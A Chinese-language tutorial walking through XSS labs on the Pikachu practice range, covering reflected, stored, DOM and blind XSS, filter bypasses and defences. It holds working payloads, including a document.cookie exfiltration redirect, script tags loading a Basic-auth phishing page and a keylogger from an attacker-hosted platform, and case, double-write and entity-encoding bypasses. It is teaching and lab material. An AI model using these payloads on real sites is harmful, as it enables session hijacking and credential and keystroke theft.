Pikachu漏洞靶场系列之XSS_反射型xss的post请求获取cookie实例

---

概述

1、XSS就是攻击者在web页面插入恶意的Script代码，当用户浏览该页面时，嵌入其中的js代码会被执行，从而达到恶意攻击的目的。

2、XSS是一种发生在web前端的漏洞，所以其危害的对象也主要是前端用户

3、Xss漏洞可以用来进行钓鱼攻击、前端js挖矿、用户cookie获取、甚至可以结合浏览器自身的漏洞对用户主机进行远程控制

因此在XSS漏洞的防范上，一般会采用对输入进行过滤、和对输出进行转义的方式进行处理

跨站脚本漏洞常见类型

危害：存储>反射>dom型

反射型
交互的数据一般不会被存在在数据库里面，一次性，所见即所得

存储型
交互的数据会被存在在数据库里面、永久性存储、一般出现在留言板、注册等页面

Dom型
不与后台服务器产生数据交互，是一种通过DOM操作前端代码输出的时候产生的问题

Dom一种前端的接口、用户输入的数据通过dom进行相关的操作然后输出、不会跟后台进行交互

XSS漏洞的测试流程

1.在目标站点找到输入点，比如查询接口，注册，留言板等可以与页面交互的地方。

(建议别一上来就上各种xss的语句、而是我们可以先输入一些特殊字符（比如<>、单双引号等等)再加上一个唯一的数字组合、然后把它提交到后台、再看返回的源码里面、
通过这个唯一识别的字符找到返回的这个点、然后去做对应的观察看后端返回来的数据是否有做对应的处理

或者说我们提交的数据是否有被过滤掉、再或者它返回的数据是否有做对应的编码转义等等

2.开始手测，先输入一组"特殊字符+唯一的识别字符"，点击提交后，看页面是否会对提交的内容进行处理(过滤和转义等)如果是原封不动的返回来，那么可能就存在xss了。

3.通过搜索到输入的唯一识别字符，在结合唯一字符的前后愈发来确认是否可以执行构造xss的条件(构造闭合)，来插入要执行的代码。(可以通过查看页源代码来查看)

3.提交的脚本代码(以及各种绕过姿势)，看是否可以执行成功，执行成功就说明有xss漏洞。

搭建XSS后台

1.在pikachu文件夹下面，把pkxss单独放在www下面
2.修改配置文件 数据库服务器地址，账号，密码。
3.安装
4.安装成功

小提示
用phpstudy新建数据库会出现权限不足，直接用第一个root数据库的账号密码登录即可

一、反射型XSS(Get)

1、流程
输入时发现限制了输入字符长度，F12审查源码
，修改maxlength即可

输入特殊字符，检查是否有过滤

传递的参数直接存在页面代码中，而且没有过滤、构造Payload

<script>alert(xss)</script>
1

实验案例-获取Cookie

修改IP地址。打开Pikachu/pkxss/xcookie/post.html文件，因为这里是在本地演示，因此2个IP都修改为127.0.0.1

打开
修改

先修改输入长度

输入框输入

<script> document.location = 'http://127.0.0.1/xcookie/cookie.php?cookie=' + document.cookie; </script>
1

注意！！！！http://127.0.0.1/xcookie/cookie.php
这里地址填IP加xcookie/cookie.php、

这个是不会跳转的、错误的pkxss_cookie_result.php

可选择跳转到哪个页面

提交就会跳转
这里设置了跳转到的是pikachu的首页
回到接收XSS的cookie值平台那个界面刷新得到cookie值

二、反射型XSS(Post)

这里直接通过admin/123456登陆、然后构造Payload

<script>alert(2333)</script>
1

完成弹窗

三、存储型XSS

留言板将输入的内容写入到网页中, 并且存储到网站数据库, 假如遭受到恶意代码攻击, 那么受到的攻击将是持久化的
我们试着在皮卡丘平台上的XSS上留言，看看是否有什么过滤机制

我们发现我们的留言会一直存在，而且从表现上我们输入的内容直接输出了、下面通过源码观察

我们输入的东西，也直接输出在 p 标签中，看起来没有经过任何转义和处理、下面输入下面的Payload进行测试

<script>alert(document.cookie)</script>
1

成功弹出cookie值

实验案例-钓鱼攻击

我们这里用一个Basic认证去做这个钓鱼攻击、我们在一个存在XSS漏洞的页面上面嵌入一个恶意请求，当用户打开这个页面时、这个页面就会像攻击者的服务器发送请求，这个请求会返回一个Basic认证的头部、这时候会弹出一个提示框，要求受害者输入账号密码，从而盗取用户的账号密码

首先攻击者需要构造一个钓鱼页面，用来将发送Basic认证的认证框修改 /var/www/html/pikachu/pkxss/xfish 下的 fish.php 文件，将IP地址改为攻击者的服务器地址
构造的Payload如下

<script src="http://www.pkxss.com/xfish/fish.php"></script>
1

当用户访问这个留言板时，会出现下面的认证框

从而盗取用户的账号密码

实验案例-键盘记录

什么是跨域

当协议、主机（主域名、子域名）、端口中的任意一个不同时，称为不同域

我们把不同域之间请求数据的操作，称为跨域操作

跨域-同源策略

为了安全考虑，所有的浏览器都约定了“同源策略”。同源策略规定

两个不同域之间不能使用JS进行互相操作

比如 x.com 域名下的 JS 并不能操作 y.com 域下的对象
8080跟8081、www跟client、https跟http等是跨域不同源的

如果想要跨域操作，则需要管理员进行特殊配置
比如通过头里面：header("Access-Control-Allow-Origin:x/com") 指定跨域的地址

下面的标签跨域加载资源（资源类型时有限制的）是不受同源策略限制的

<script src="...">，JS加载到本地执行
<img src="..">，图片
<link href="..">，CSS
<iframe src="..">，任意资源
1
2
3
4

为什么要同源策略

A登录了淘宝，攻击者向A发送了一个恶意链接http://盗取cookie
如果没有同源策略，url上的js恶意操作A的内容
有了同源策略，就限制了这种状况

或者，一个恶意站点A使用了 <iframe src="B站点登录界面"> ，发送该恶意 url 给受害者

如果受害者浏览器如果没有同源策略，那么 A 上的 JS 即可获取 B 站点的登录信息

实验
打开pikachu/pkxss/rkeypress/rk.js文件，将第54行语句并修改为黑客后台地址

rk.js 是攻击代码，我们可以把这个 js 文件放到我们的恶意站点上，然后通过有 XSS 漏洞的页面去调用

这个文件可以记录用户的键盘操作，然后异步发送给攻击者

但是这个违背了同源策略，因为我们攻击者的机器和漏洞服务器的主机是不一样的

AJAX的请求默认情况下是不能跨域的，这个请求默认情况下是会失败的

去 /var/www/html/pikachu/pkxss/rkeypress 中 rkserver.php 注释掉下面的代码

我们可以用下面的Payload测试一下

<script src="http://www.pkxss.com/rkeypress/rk.js"></script>
1

提交之后打开控制台，看一下网络请求，我们在页面上随便输入一些东西，会有下面的提示
由于http://www.pkxss.com是攻击者自己搭建的平台，攻击者可以允许所有人来跨域请求，下面我们把刚刚注释的代码打开

这时候再在浏览器上输入东西，就没有任何提示了，我们也在一直向攻击者的服务器发送数据、攻击者也收集到了我们的击键信息

四、DOM型XSS

纯前端的操作、DOM：文档对象类型

在这里我们提到了DOM，那么什么是DOM呢？
DOM就是js可以通过DOM树来操纵HTML的接口，js通过DOM提供的方法对HTML标签进行修改，删除等操作，来改变页面布局。由于HTML是由于各种标签来构成的，所以j就可以通过修改标签来改造页面。

可以参考：https://www.w3school.com.cn/htmldom/index.asp

我们可以以这棵树为入口，通过DOM的某些方法对树进行操作，比如对标签的添加、改变和删除等等

DOM这个东西相当于在前端提供了一个通过JS去对HTML进行操作的接口

Dom的一个特征是在前端完成的、没有跟后台交互。都是在前端完成的、dom是一个前端的操作接口、 下面我们在皮卡丘平台上的DOM型XSS上测试一下

通过观察页面源码
这里有段JS代码，它通过 getElementById 获取到了标签 Id 为 text的内容赋值给str

然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中，a标签会写到 Id 为 dom的 div 标签中

我们通过闭合的方式构造Payload

   ' οnclick="alert('xss')">
   '><img src="#" onmouseover="alert('xss')">
1
2

两条语句都行
完成弹窗

造成DOM型XSS的原因
是前端的输入被DOM给获取到了，通过DOM又在前端输出，跟反射型和存储型比起来，它是不经过后台交互的

五、DOM型XSS-X

老套路，测试代码+页面源代码

这里也有个JS代码，它定义了一个domxss函数

它利用 window.location.search 获取浏览器中URL的内容，然后赋值给 str

然后经过URL解码和字符串分隔，取出URL中的参数内容

再把 “+” 替换为 “ ”（空格），赋值给 xss

最后把 xss 拼接到 a 标签中，然后写到 Id 为 dom 的 div 标签中

跟前面的DOM不同的是，它的输入是从浏览器的URL中获取的，很像反射型XSS(get)、构造的Payload跟刚才是一样的

' οnclick="alert('xss')">
'><img src="#" onmouseover="alert('xss')">
1
2

六、XSS之盲打

XSS盲打不是攻击类型，而是一个攻击场景
在皮卡丘平台上，我们随便输入一些东西
提交后我们输入的内容不会在前对输出，而是提交到了后台，可能管理员会去看

如果我们输入一个JS代码，管理员登录后台管理界面，如果后台把我们的内容输出

那后台管理员可能遭受到我们的XSS攻击，我们提交以下内容

并登录后台管理界面（账号密码为admin，123456）
http://yunche.com/vul/xss/xssblind/admin.php
一登录进来就遭受了XSS攻击

七、XSS之过滤

实际中的系统，或多或少都会做一些安全措施，但是这些安全措施也能方法、逻辑不严谨，可以被绕过

转换的思路

前端限制绕过，直接抓包重放，或者修改html前端代码。比如反射型XSS(get)中限制输入20个字符。
大小写，比如<SCRIPT>aLeRT(111)</sCRIpt>。后台可能用正则表达式匹配，如果正则里面只匹配小写，那就可能被绕过。
双写（拼凑），<scri<script>pt>alert(111)</scri</script>pt>。后台可能把<script>标签去掉换，但可能只去掉一次。
注释干扰，<scri<!--test-->pt>alert(111)</sc<!--test-->ript>。加上注释后可能可以绕过后台过滤机制。
1
2
3
4

编码的思路

核心思路：

后台过滤了特殊字符，比如<script>标签，但该标签可以被各种编码，后台不一定过滤
当浏览器对该编码进行识别时，会翻译成正常的标签，从而执行
1
2

编码应该在输出点被正常识别和翻译，不能随便使用编码。

例子：

<img src=x onerror=alert('xss')>
将alert('xss')进行URL编码，可以执行吗？
<img src=x onerror=alert%28%27xss%27%29>

它并不会执行，因为属性标签并不会正常解析这些编码



<img src=x onerror=alert('xss')>
将alert('xss')进行HTML编码
<img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x78;&#x73;&#x73;&#x27;&#x29;>

当它输出到前端的时候，浏览器会对这个编码进行翻译，从而弹窗
1
2
3
4
5
6
7
8
9
10
11
12
13

XSS绕过的姿势很多，取决于你的思路和对前端技术的掌握程度、我们在皮卡丘平台上，输入下面的内容

看一下后台会怎么处理

可以看到我们输入的<script>标签被去掉了
尝试用大小写混合的方式看看能否绕过

<SCRIPT>alert(111)</sCRIpt>
1

这时候成功弹窗说明后端只对小写的script进行过滤

也可以用别的攻击Payload，后台可能没有做处理
1
2
3

<img src=x onerror=alert('xss')>
1

XSS之htmlspecialchars

关于htmlspecialchars()函数

htmlspecialchars()是PHP里面把预定义的字符转换为HTML实体的函数

预定义的字符是

& 成为 &amp
" 成为 &quot
' 成为 &#039
< 成为 &lt
> 成为 &gt

可用引号类型

ENT_COMPAT：默认，仅编码双引号
ENT_QUOTES：编码双引号和单引号
ENT_NOQUOTES：不编码任何引号
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

我们在皮卡丘平台上输入下面的内容，"'&2333?#

看一下后端是怎么处理的
可以看到 “ " ”，“ > ”和“ < ”都经过了编码，剩下的字符没有，单引号依然可以使用

我们可以构造下面的Payload，我们在Payload前后都添加一个单引号用于闭合 href中的单引号

' οnclick=alert(2333) '
1

XSS常见防范措施

总的原则：输入做过滤，输出做转义

过滤：根据业务需求进行过滤，比如输入点要求输入手机号，则只允许输入手机号格式的数字
转义：所有输出到前端的数据根据输出点进行转义，比如输出到html中进行html实体转义，输入到JS里面进行JS转义
1
2

XSS之href输出

看一下xss_03.php的源码

这个页面会接收我们的输入的message，然后判断我们输入的网址，如果输入的不是百度会对我们输入的内容用 htmlspecialchars() 进行处理使用伪协议

这个函数转义单引号、双引号和左右尖括号

然后输出到 a 标签的 href 属性中，在 a 标签的href属性中，可以用javascript协议来执行JS

构造Payload如下，没有上面被转义的字符
1
2
3
4
5

使用了伪协议

          javascript:alert(111)
1

此时点击我们的标签就会出现弹窗

提交后查看源码、我们的输入在 a 标签的 href属性中

如果要对 href 做处理，一般有两个逻辑：

输入的时候只允许 http 或 https 开头的协议，才允许输出
其次再进行htmlspecialchars处理
1
2

XSS之js输出

我们随便输入一些东西

然后查看一下页面源码

它会把我们的输入放到JS中，然后对这个变量进行判断，然后再输出

我们可以构造一个闭合，先用一个单引号和</script>闭合掉页面中的<script>，然后再插入自己的JS代码

'</script><script>alert('xss')</script>
1

这个漏洞的输出点是在JS中，通过用户的输入动态生成了JS代码

JS有个特点，它不会对实体编码进行解释，如果想要用htmlspecialchars对我们的输入做实体编码处理的话

在JS中不会把它解释会去，这样解决了XSS问题，但不能构成合法的JS

所以在JS的输出点应该对应该使用 \ 对特殊字符进行转义
1
2
3
4
5

总结

漏洞利用

GET方式：可以通过直接构造URL来诱导用户点击，一般需要会转换成短连接

POST方式：黑客通过伪造一个表单自动提交的页面，当用户访问页面时触发表单，页面JS自动POST表单数据到存在POST型XSS漏洞的网站，并将Cookie返回到黑客后台，黑客通过Cookie伪装成用户登录并造成危害。

XSS常见Payload

<script>alert("xss")</script> 弹窗
<script>alert(document.cookie)</script> 弹cookie
<a href=javascript:alert(111)> 伪协议
<body onload=alert('XSS')>
<img src=x onerror=alert(1)>
<div onclick="alert('xss')">
1
2
3
4
5
6